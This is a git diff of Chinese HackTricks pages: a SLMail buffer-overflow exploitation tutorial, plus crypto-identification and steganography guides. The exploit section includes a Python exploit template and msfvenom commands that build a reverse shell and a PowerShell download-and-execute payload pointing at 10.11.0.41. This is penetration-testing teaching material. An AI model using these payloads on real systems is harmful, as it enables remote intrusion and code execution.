* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Windows Exploiting(基础指南 - OSCP 级别)
|
||||
# Windows Exploiting (基础指南 - OSCP 级别)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **开始安装 SLMail 服务**
|
||||
|
||||
|
@ -24,7 +25,7 @@ net start slmail
|
|||
```
|
||||
![](<../.gitbook/assets/image (988).png>)
|
||||
|
||||
## 非常基本的Python漏洞利用模板
|
||||
## 非常基本的Python利用模板
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -58,7 +59,7 @@ print "Could not connect to "+ip+":"+port
|
|||
|
||||
**然后按 START 按钮**
|
||||
|
||||
## **发送利用并检查 EIP 是否受影响:**
|
||||
## **发送利用代码并检查 EIP 是否受影响:**
|
||||
|
||||
![](<../.gitbook/assets/image (906).png>)
|
||||
|
||||
|
@ -66,7 +67,7 @@ print "Could not connect to "+ip+":"+port
|
|||
|
||||
## 创建一个模式来修改 EIP
|
||||
|
||||
该模式的大小应与您先前用于中断服务的缓冲区大小相同。
|
||||
该模式的大小应与先前用于中断服务的缓冲区大小相同。
|
||||
|
||||
![](<../.gitbook/assets/image (420).png>)
|
||||
```
|
||||
|
@ -114,7 +115,7 @@ buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
|||
|
||||
您可以看到当漏洞被触发时,EBP指向shellcode,并且我们有很多空间来定位shellcode。
|
||||
|
||||
在这种情况下,我们有**从0x0209A128到0x0209A2D6 = 430B。** 足够。
|
||||
在这种情况下,我们有**从0x0209A128到0x0209A2D6 = 430B。** 足够了。
|
||||
|
||||
## 检查不良字符
|
||||
|
||||
|
@ -160,7 +161,7 @@ badchars 从 0x01 开始,因为 0x00 几乎总是有问题。
|
|||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
你将**列出内存映射**。搜索具有以下特征的一些DLL:
|
||||
你将**列出内存映射**。搜索具有以下特征的某些DLL:
|
||||
|
||||
- **重新基址: False**
|
||||
- **SafeSEH: False**
|
||||
|
@ -186,9 +187,9 @@ badchars 从 0x01 开始,因为 0x00 几乎总是有问题。
|
|||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
如果利用程序没有生效但应该生效(可以通过ImDebg看到已经执行到shellcode),尝试创建其他shellcode(使用msfvenom为相同参数创建不同的shellcode)。
|
||||
如果利用漏洞没有生效但应该生效(可以通过ImDebg看到已经到达shellcode),尝试创建其他shellcode(msfvenom使用相同参数创建不同的shellcode)。
|
||||
|
||||
**在shellcode开头添加一些NOPS**,并使用它和返回地址来JMP ESP,完成利用:
|
||||
**在shellcode开头添加一些NOPS**,并使用它和返回地址跳转到JMP ESP,完成利用:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -247,16 +248,17 @@ print "Could not connect to "+ip+":"+port
|
|||
```bash
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,33 +2,34 @@
|
|||
|
||||
## 密码/压缩算法
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 识别算法
|
||||
|
||||
如果您在代码中**使用移位、异或和多个算术运算**,很可能是**实现了一个密码算法**。这里将展示一些**无需逆向每一步骤即可识别所使用算法**的方法。
|
||||
如果你在代码中**使用移位、异或和多种算术运算**,很可能是**实现了一个密码算法**。这里将展示一些方法来**识别所使用的算法,而无需逆向每一步**。
|
||||
|
||||
### API函数
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
如果使用了此函数,您可以通过检查第二个参数的值来找到正在使用的**算法**:
|
||||
如果使用了这个函数,可以通过检查第二个参数的值来找到**正在使用的算法**:
|
||||
|
||||
![](<../../.gitbook/assets/image (156).png>)
|
||||
|
||||
在此处查看可能算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
在这里查看可能算法及其分配的值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
|
@ -36,37 +37,38 @@
|
|||
|
||||
**CryptAcquireContext**
|
||||
|
||||
根据[文档](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta):**CryptAcquireContext**函数用于获取特定加密服务提供商(CSP)中特定密钥容器的句柄。**返回的句柄用于调用使用所选CSP的CryptoAPI**函数。
|
||||
根据[文档](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta):**CryptAcquireContext**函数用于获取特定加密服务提供商(CSP)中特定密钥容器的句柄。**返回的句柄用于调用使用所选CSP的CryptoAPI函数**。
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
启动对数据流的哈希处理。如果使用此函数,您可以通过检查第二个参数的值来找到正在使用的**算法**:
|
||||
启动对数据流的哈希处理。如果使用了这个函数,可以通过检查第二个参数的值来找到**正在使用的算法**:
|
||||
|
||||
![](<../../.gitbook/assets/image (549).png>)
|
||||
|
||||
在此处查看可能算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
\
|
||||
在这里查看可能算法及其分配的值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### 代码常量
|
||||
|
||||
有时很容易识别算法,因为它需要使用特殊且唯一的值。
|
||||
有时候很容易识别一个算法,因为它需要使用一个特殊且独特的值。
|
||||
|
||||
![](<../../.gitbook/assets/image (833).png>)
|
||||
|
||||
如果您在Google中搜索第一个常量,您会得到以下结果:
|
||||
如果你在Google中搜索第一个常量,你会得到以下结果:
|
||||
|
||||
![](<../../.gitbook/assets/image (529).png>)
|
||||
|
||||
因此,您可以假定反编译的函数是**sha256计算器**。\
|
||||
您可以搜索任何其他常量,您可能会得到(可能)相同的结果。
|
||||
因此,你可以假设反编译的函数是一个**sha256计算器**。\
|
||||
你可以搜索任何其他常量,你可能会得到(可能)相同的结果。
|
||||
|
||||
### 数据信息
|
||||
|
||||
如果代码没有任何重要的常量,它可能是**从.data部分加载信息**。\
|
||||
您可以访问该数据,**将第一个双字分组**并像前面的部分那样在Google中搜索:
|
||||
你可以访问这些数据,**将第一个双字分组**,并像前面的部分一样在Google中搜索:
|
||||
|
||||
![](<../../.gitbook/assets/image (531).png>)
|
||||
|
||||
在这种情况下,如果您搜索**0xA56363C6**,您会发现它与**AES算法的表**相关联。
|
||||
在这种情况下,如果你搜索**0xA56363C6**,你会发现它与**AES算法的表**有关。
|
||||
|
||||
## RC4 **(对称加密)**
|
||||
|
||||
|
@ -74,15 +76,15 @@
|
|||
|
||||
它由3个主要部分组成:
|
||||
|
||||
* **初始化阶段/**:创建一个值表,范围从0x00到0xFF(总共256字节,0x100)。这个表通常称为**替换盒**(或SBox)。
|
||||
* **混淆阶段**:将在之前创建的表中进行**循环**(再次循环0x100次)并使用**半随机**字节修改每个值。为了创建这些半随机字节,使用RC4的**密钥**。RC4的**密钥**可以是**1到256字节的长度**,但通常建议长度超过5字节。通常,RC4密钥长度为16字节。
|
||||
* **XOR阶段**:最后,明文或密文将与之前创建的值**进行XOR运算**。加密和解密的函数是相同的。为此,将根据需要**对创建的256字节进行循环**执行多次。在反编译的代码中,通常会识别为**%256(模256)**。
|
||||
* **初始化阶段/**:创建一个**值表从0x00到0xFF**(总共256字节,0x100)。这个表通常称为**替代盒**(或SBox)。
|
||||
* **混淆阶段**:将**循环遍历**之前创建的表(再次循环0x100次)并使用**半随机**字节修改每个值。为了创建这些半随机字节,RC4使用**密钥**。RC4的**密钥**可以是**1到256字节的长度**,但通常建议长度超过5字节。通常,RC4密钥长度为16字节。
|
||||
* **XOR阶段**:最后,明文或密文与之前创建的值**进行XOR运算**。加密和解密的函数是相同的。为此,将**循环遍历创建的256字节**,直到必要次数。在反编译的代码中,通常会被识别为**%256(模256)**。
|
||||
|
||||
{% hint style="info" %}
|
||||
**为了在反汇编/反编译代码中识别RC4,您可以检查大小为0x100的2个循环(使用密钥),然后将输入数据与在2个循环中之前创建的256个值进行XOR运算,可能使用%256(模256)**
|
||||
**为了在反汇编/反编译的代码中识别RC4,你可以检查大小为0x100的2个循环(使用密钥),然后将输入数据与在2个循环中之前创建的256个值进行XOR运算,可能使用%256(模256)**
|
||||
{% endhint %}
|
||||
|
||||
### **初始化阶段/替换盒:**(注意计数器使用的数字256以及如何在256个字符的每个位置写入0)
|
||||
### **初始化阶段/替代盒:**(注意计数器使用的数字256以及如何在256个字符的每个位置写入0)
|
||||
|
||||
![](<../../.gitbook/assets/image (584).png>)
|
||||
|
||||
|
@ -98,8 +100,8 @@
|
|||
|
||||
### **特征**
|
||||
|
||||
* 使用**替换盒和查找表**
|
||||
* 可以**通过特定查找表值**(常量)**来区分AES**。_请注意**常量**可以**存储**在二进制文件中**或动态创建**。_
|
||||
* 使用**替代盒和查找表**
|
||||
* 可以**通过特定查找表值**(常量)来**区分AES**。_注意**常量**可以**存储**在二进制文件中**或动态创建**。_
|
||||
* **加密密钥**必须是**16的倍数**(通常为32字节),通常使用16字节的**IV**。
|
||||
|
||||
### SBox常量
|
||||
|
@ -110,21 +112,21 @@
|
|||
|
||||
### 特征
|
||||
|
||||
* 很少有恶意软件使用它,但有一些例子(Ursnif)
|
||||
* 通过其长度(非常长的函数)很容易确定算法是否为Serpent。
|
||||
* 很少发现一些恶意软件使用它,但有例外(Ursnif)
|
||||
* 通过长度(非常长的函数)很容易确定算法是否为Serpent。
|
||||
|
||||
### 识别
|
||||
|
||||
请注意以下图像中使用的常量**0x9E3779B9**(请注意,此常量也被其他加密算法如**TEA** - Tiny Encryption Algorithm使用)。\
|
||||
还请注意**循环的大小**(**132**)以及**反汇编**指令和**代码示例**中的**XOR操作数量**:
|
||||
在下图中注意常量**0x9E3779B9**的使用(注意这个常量也被其他加密算法如**TEA** - Tiny Encryption Algorithm使用)。\
|
||||
还要注意**循环的大小**(**132**)以及**反汇编指令**和**代码示例**中的**XOR操作数量**:
|
||||
|
||||
![](<../../.gitbook/assets/image (547).png>)
|
||||
|
||||
如前所述,此代码可以在任何反编译器中显示为**非常长的函数**,因为其中**没有跳转**。反编译的代码可能如下所示:
|
||||
如前所述,这段代码可以在任何反编译器中显示为**非常长的函数**,因为其中**没有跳转**。反编译的代码可能如下所示:
|
||||
|
||||
![](<../../.gitbook/assets/image (513).png>)
|
||||
|
||||
因此,可以通过检查**魔术数字**和**初始XOR**,查看**非常长的函数**,并将长函数的**某些指令**与实现进行**比较**(如左移7位和左旋转22位)来识别此算法。
|
||||
因此,可以通过检查**魔术数字**和**初始XOR**,查看**非常长的函数**,并将长函数的**一些指令**与一个实现(如左移7位和左旋转22位)**进行比较**来识别此算法。
|
||||
## RSA **(非对称加密)**
|
||||
|
||||
### 特征
|
||||
|
@ -157,7 +159,7 @@
|
|||
|
||||
**MD5 Transform**
|
||||
|
||||
注意使用更多常量
|
||||
注意更多常量的使用
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1) (1).png>)
|
||||
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# 隐写术技巧
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Try Hard 安全团队**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -26,7 +27,7 @@
|
|||
|
||||
### **Binwalk**
|
||||
|
||||
用于搜索二进制文件中嵌入的隐藏文件和数据的工具。通过`apt`安装,其源代码可在[GitHub](https://github.com/ReFirmLabs/binwalk)上找到。
|
||||
用于搜索二进制文件中嵌入的隐藏文件和数据的工具。通过 `apt` 安装,源代码可在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上找到。
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -34,19 +35,19 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Foremost**
|
||||
|
||||
根据文件的头部和尾部恢复文件,对于 png 图像非常有用。通过 `apt` 安装,其源代码位于 [GitHub](https://github.com/korczis/foremost)。
|
||||
根据文件的头部和尾部恢复文件,对于 png 图像非常有用。通过 `apt` 安装,源代码位于 [GitHub](https://github.com/korczis/foremost)。
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
帮助查看文件元数据,可在[这里](https://www.sno.phy.queensu.ca/\~phil/exiftool/)找到。
|
||||
帮助查看文件元数据,可在[此处](https://www.sno.phy.queensu.ca/\~phil/exiftool/)找到。
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
类似于exiftool,用于查看元数据。可通过`apt`安装,在[GitHub](https://github.com/Exiv2/exiv2)上找到源代码,并有一个[官方网站](http://www.exiv2.org/)。
|
||||
类似于exiftool,用于查看元数据。可通过`apt`安装,在[GitHub](https://github.com/Exiv2/exiv2)上获取源代码,并有一个[官方网站](http://www.exiv2.org/)。
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
|
@ -56,7 +57,7 @@ exiv2 file # Shows the metadata
|
|||
|
||||
### **字符串**
|
||||
|
||||
从文件中提取可读字符串,使用各种编码设置来过滤输出。
|
||||
提取文件中的可读字符串,使用各种编码设置来过滤输出。
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -68,7 +69,7 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
|||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **比较(cmp)**
|
||||
### **比较 (cmp)**
|
||||
|
||||
用于将修改后的文件与在线找到的原始版本进行比较。
|
||||
```bash
|
||||
|
@ -78,7 +79,7 @@ cmp original.jpg stego.jpg -b -l
|
|||
|
||||
### **空格中的隐藏数据**
|
||||
|
||||
在看似空白的空格中,可能隐藏着看不见的字符,其中可能包含信息。要提取这些数据,请访问 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。
|
||||
看似空白的空格中可能隐藏着不可见字符。要提取这些数据,请访问 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。
|
||||
|
||||
## **从图像中提取数据**
|
||||
|
||||
|
@ -88,13 +89,13 @@ cmp original.jpg stego.jpg -b -l
|
|||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
要尝试修复损坏的图像,添加元数据注释可能会有所帮助:
|
||||
尝试修复损坏的图像时,添加元数据注释可能会有所帮助:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide用于数据隐藏**
|
||||
|
||||
Steghide便于在`JPEG、BMP、WAV和AU`文件中隐藏数据,能够嵌入和提取加密数据。使用`apt`进行安装很简单,其[源代码可在GitHub上找到](https://github.com/StefanoDeVuono/steghide)。
|
||||
Steghide可用于在`JPEG、BMP、WAV和AU`文件中隐藏数据,能够嵌入和提取加密数据。使用`apt`可以轻松安装,其[源代码可在GitHub上找到](https://github.com/StefanoDeVuono/steghide)。
|
||||
|
||||
**命令:**
|
||||
|
||||
|
@ -105,13 +106,13 @@ Steghide便于在`JPEG、BMP、WAV和AU`文件中隐藏数据,能够嵌入和
|
|||
|
||||
**使用Stegcracker进行暴力破解攻击:**
|
||||
|
||||
* 若要尝试对Steghide进行密码破解,请使用[stegcracker](https://github.com/Paradoxis/StegCracker.git)如下:
|
||||
* 要在Steghide上尝试密码破解,请使用[stegcracker](https://github.com/Paradoxis/StegCracker.git),如下所示:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg 用于 PNG 和 BMP 文件**
|
||||
|
||||
zsteg 专门用于揭示 PNG 和 BMP 文件中的隐藏数据。通过 `gem install zsteg` 进行安装,其[源代码在 GitHub 上](https://github.com/zed-0xff/zsteg)。
|
||||
zsteg 专门用于揭示 PNG 和 BMP 文件中的隐藏数据。安装可通过 `gem install zsteg` 完成,其[源代码在 GitHub 上](https://github.com/zed-0xff/zsteg)。
|
||||
|
||||
**命令:**
|
||||
|
||||
|
@ -122,11 +123,11 @@ zsteg 专门用于揭示 PNG 和 BMP 文件中的隐藏数据。通过 `gem inst
|
|||
|
||||
**stegoVeritas** 检查元数据,执行图像转换,并应用 LSB 强制破解等其他功能。使用 `stegoveritas.py -h` 查看所有选项的完整列表,使用 `stegoveritas.py stego.jpg` 执行所有检查。
|
||||
|
||||
**Stegsolve** 应用各种颜色滤镜来显示图像中隐藏的文本或消息。可在[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)上找到。
|
||||
**Stegsolve** 应用各种颜色滤镜以显示图像中隐藏的文本或消息。可在[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)上找到。
|
||||
|
||||
### **FFT 用于隐藏内容检测**
|
||||
|
||||
快速傅里叶变换(FFT)技术可以揭示图像中隐藏的内容。有用的资源包括:
|
||||
快速傅里叶变换 (FFT) 技术可揭示图像中的隐藏内容。有用的资源包括:
|
||||
|
||||
* [EPFL 演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
|
@ -145,7 +146,7 @@ pngcheck stego.png
|
|||
```
|
||||
### **图像分析的附加工具**
|
||||
|
||||
进一步探索,请访问:
|
||||
要进行进一步探索,请考虑访问:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
|
@ -155,15 +156,15 @@ pngcheck stego.png
|
|||
|
||||
## **从音频中提取数据**
|
||||
|
||||
**音频隐写术** 提供了一种在声音文件中隐藏信息的独特方法。不同的工具用于嵌入或检索隐藏内容。
|
||||
**音频隐写术** 提供了一种在声音文件中隐藏信息的独特方法。不同的工具被用于嵌入或检索隐藏内容。
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide 是一个多功能工具,旨在将数据隐藏在 JPEG、BMP、WAV 和 AU 文件中。详细说明请参阅 [stego tricks documentation](stego-tricks.md#steghide)。
|
||||
Steghide 是一个多功能工具,旨在将数据隐藏在 JPEG、BMP、WAV 和 AU 文件中。详细说明请参阅[隐写技巧文档](stego-tricks.md#steghide)。
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
该工具兼容各种格式,包括 PNG、BMP、GIF、WebP 和 WAV。有关更多信息,请参阅 [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。
|
||||
该工具兼容多种格式,包括 PNG、BMP、GIF、WebP 和 WAV。有关更多信息,请参阅[Stegpy 的部分](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
|
@ -181,11 +182,11 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound允许使用AES-256在声音文件中加密和检测信息。可以从[官方页面](http://jpinsoft.net/deepsound/download.aspx)下载。
|
||||
